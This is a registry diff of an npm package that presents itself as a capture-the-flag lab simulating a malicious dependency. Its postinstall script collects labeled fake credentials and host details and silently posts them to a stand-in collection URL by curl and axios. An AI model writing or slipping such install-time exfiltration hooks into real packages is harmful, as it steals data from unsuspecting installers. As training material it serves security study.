@amrahulmail/ctf-lab-evil 1.1.0 → 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/postinstall.js +4 -4
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@amrahulmail/ctf-lab-evil",
|
|
3
|
-
"version": "1.
|
|
3
|
+
"version": "1.2.0",
|
|
4
4
|
"description": "WARNING: CTF LAB PACKAGE — DO NOT USE IN PRODUCTION. Simulates a malicious transitive dependency that exfiltrates credentials via postinstall.",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"scripts": {
|
package/postinstall.js
CHANGED
|
@@ -25,22 +25,22 @@ const FAKE_CREDS = {
|
|
|
25
25
|
hostname: os.hostname(),
|
|
26
26
|
platform: os.platform(),
|
|
27
27
|
node_version: process.version,
|
|
28
|
-
pkg: '@amrahulmail/ctf-lab-evil@1.
|
|
28
|
+
pkg: '@amrahulmail/ctf-lab-evil@1.2.0'
|
|
29
29
|
};
|
|
30
30
|
|
|
31
|
-
const payload =
|
|
31
|
+
const payload = JSON.stringify(FAKE_CREDS);
|
|
32
32
|
|
|
33
33
|
// --- Vector 1: curl ---
|
|
34
34
|
try {
|
|
35
35
|
execSync(
|
|
36
|
-
`curl -s -X POST "https://example.com/collect
|
|
36
|
+
`curl -s -X POST "https://example.com/collect" -H "Content-Type: application/json" -d '${payload}' -o /dev/null`,
|
|
37
37
|
{ stdio: 'ignore', timeout: 5000 }
|
|
38
38
|
);
|
|
39
39
|
} catch (_) {
|
|
40
40
|
// Fail silently
|
|
41
41
|
}
|
|
42
42
|
|
|
43
|
-
// --- Vector 2: axios
|
|
43
|
+
// --- Vector 2: axios ---
|
|
44
44
|
try {
|
|
45
45
|
const axios = require('axios');
|
|
46
46
|
axios.post('https://example.com/collect', FAKE_CREDS, {
|